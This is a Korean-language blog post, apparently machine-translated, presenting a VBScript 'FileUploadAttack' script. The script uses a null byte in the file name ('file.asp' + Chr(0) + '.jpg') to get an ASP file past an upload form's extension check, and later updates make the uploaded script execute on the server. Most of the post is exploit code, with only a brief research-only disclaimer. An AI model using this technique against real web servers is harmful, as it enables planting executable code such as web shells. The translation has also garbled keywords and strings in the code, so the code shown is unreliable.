본 글에 포함된 스크립트 중 일부는 공격적이며 연구 목적으로만 사용하시기 바라며, 이로 인해 발생한 손실에 대해서는 책임을 지지 않으며, 해킹 공격에 대한 기술적 지침을 제공하지 않습니다.
Demon이 오늘 이 문제를 언급했는데, 우연히 "사용자 상호 작용 없이 IE+ADO를 사용한 자동 파일 업로드 - VBSscript" 전에 본 기사가 생각났습니다. 이 기사는 로컬 비대화형 자동 업로드 스크립트의 예를 제공합니다. 원래 스크립트는 InternetExplorer.Application 구성 요소를 사용하고 비슷한 기능을 달성하기 위해 WinHttp.WinHttpRequest.5.1을 사용했습니다. 이 구성 요소에 대한 자세한 사용법은 "WinHttpRequest 개체 참조"를 참조하세요.
다음과 같이 코드를 복사합니다.옵션 명시적
함수 file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function
' http://www.motobit.com/tips/detpg_uploadvbsie/에서 수정된 코드
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
세트 m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'Infromations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template 멀티파트 헤더용
MPTemplate = 내용-처리: 양식-데이터 이름={필드};
filename={file} + vbCrLf + _
Content-Type: {ct} + vbCrLf + vbCrLf
Dim Out
Out = 바꾸기(MPTemplate, {field}, FieldName)
Out = 바꾸기(Out, {file}, FileName)
mpFields = 바꾸기( Out, {ct}, ContentType)
End Function
'OLE 문자열을 멀티바이트 문자열로 변환
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'파일 내용과 헤더 정보가 포함된 다중 부분/양식 데이터 문서 작성
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'다중 형식 데이터에서 파일 내용을 둘러싼 두 부분
Pre = -- + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
' 레코드 세트 바이너리 필드를 사용하여 양식 데이터 작성
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Pre 문자열 값을 이진 데이터로 변환
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Po 문자열 값을 이진 데이터로 변환
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Pre + FileContents + Po 바이너리 데이터 결합
RS(b).AppendChunk (Pre )
RS(b).AppendChunk(파일 콘텐츠)
RS(b).AppendChunk(Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
End Function
Public Function sendFile(fileName)
Const Boundary = --------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-data; 경계= + 경계
Dim FileContents, FormData
'Get source file 바이너리 데이터로
FileContents = file_get_contents(FileName)
'다음은 악성 파일 확장자 Chr(0) & .jpg를 구성합니다
. '멀티파트/폼 데이터 문서 빌드
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function
Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class
Function VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
'다음 콘텐츠를 적절한 콘텐츠로 수정해야 합니다.
' URL 업로드
fileUpload.setUrl http://localhost/upload/uploadfile.asp
파일Upload.setFieldName filepath '업로드 양식 상자의 이름
' 업로드할 파일의 경로
If fileUpload.sendFile(E:/projects/asp/index.asp)=200 Then
MsgBox가 성공적으로 업로드되었습니다& fileUpload.getText()
Else
MsgBox failedEnd
If
Set fileUpload = 없음
함수
호출
종료WScript.Quit(VBMain())
업로드 함수는 인터넷에서 찾은 ASP 파일을 간단히 업로드한 다음 "ASP/VBScript의 CHR(0) 기원 및 보안 문제" 기사에서 설명한 GetFileExtensionName에 추가됩니다. it presents" 확장자가 jpg인지 확인합니다.
테스트 결과는 다음과 같습니다. ASP를 수동으로 업로드하는 데 실패했습니다. 위의 공격 스크립트를 사용하여 ASP 파일을 업로드하면 성공했습니다. 실제로 업로드 디렉터리에 asp 파일이 있습니다. 이 asp 파일은 브라우저 URL을 통해서도 액세스할 수 있지만 이상한 점은 표시가 비어 있다는 것입니다. IIS 버전 문제일까요? 파일의 바이너리 스트림을 반환하시겠습니까? 좋아요, 지금은 이 질문을 남겨두겠습니다. 다른 할 일도 있으니 먼저 비켜가겠습니다.
모든 실험 코드 패키지는 여기 upload.zip에서 다운로드할 수 있습니다(코드 버그는 아래 업데이트 지침을 참조하세요).
2011년 12월 25일 업데이트.
여러분의 피드백을 바탕으로 업로드된 파일은 Unicode Little로 변경되었습니다. 엔디안 코딩 문제 우선 당시 정말 게을러서 죄송합니다. 주요 코드 참조는 외국인이 했고, 외국인이 파일 바이너리 데이터를 얻기 위한 GetFile 함수를 설명했지만 구현을 찾을 수 없었습니다. 이 함수의 내용이 너무 게으른 탓에 그냥 했습니다. File_get_contents 가 텍스트 데이터를 가져오는데 실제로 문제가 있는 것으로 나타났습니다. 아래에서 해결 방법을 설명하겠습니다. 게으른 텍스트 데이터를 기존 기반의 바이너리 데이터로 직접 변환합니다. ADODB.Stream 구성 요소를 사용하면 함수는 다음과 같습니다.
코드를 복사합니다. 코드는 다음과 같습니다.
'지정된 charset의 문자열 str을 바이너리로 변환합니다.
Function strtobin(str, charset)
With WSH.CreateObject(ADODB.Stream)
. 유형 = 2
.Mode = 3
. 열기
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Close
End With
End 함수
그런 다음 위 코드의 106행을 다음과 같이 변경합니다(ASCII로 텍스트 읽기).
다음과 같이 코드를 복사합니다.
FileContents = strtobin(file_get_contents(FileName), ASCII)
이 변경 후 업로드된 ASP 파일은 일반적으로 인코딩된 파일을 확인하고 브라우저가 이 파일에 액세스하면 ASP가 성공적으로 구문 분석되는 것을 볼 수 있습니다.
그러나 이것은 약간 장황해 보입니다. 실제로는 바이너리로 파일을 직접 열고 데이터를 반환할 수 있습니다. 여기에는 두 가지 단계가 있습니다: 1. 텍스트 모드에서 파일을 읽습니다. 2. 텍스트를 바이너리 데이터로 변환합니다. 1단계 코드는 바이너리 Byte() 모드에서 파일 데이터를 읽는 다음 함수를 참조할 수 있습니다.
다음과 같이 코드를 복사합니다.
'파일 내용을 바이너리 데이터로 반환합니다
.함수 GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB .Stream )
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function
의 더 최적화된 코드는 작성하지 않겠습니다. 주로 업로드 아이디어를 설명합니다. 완전한 업로드 구현을 원할 경우 Demon의 "VBS 시뮬레이션 POST 업로드 파일"을 참조할 수 있습니다.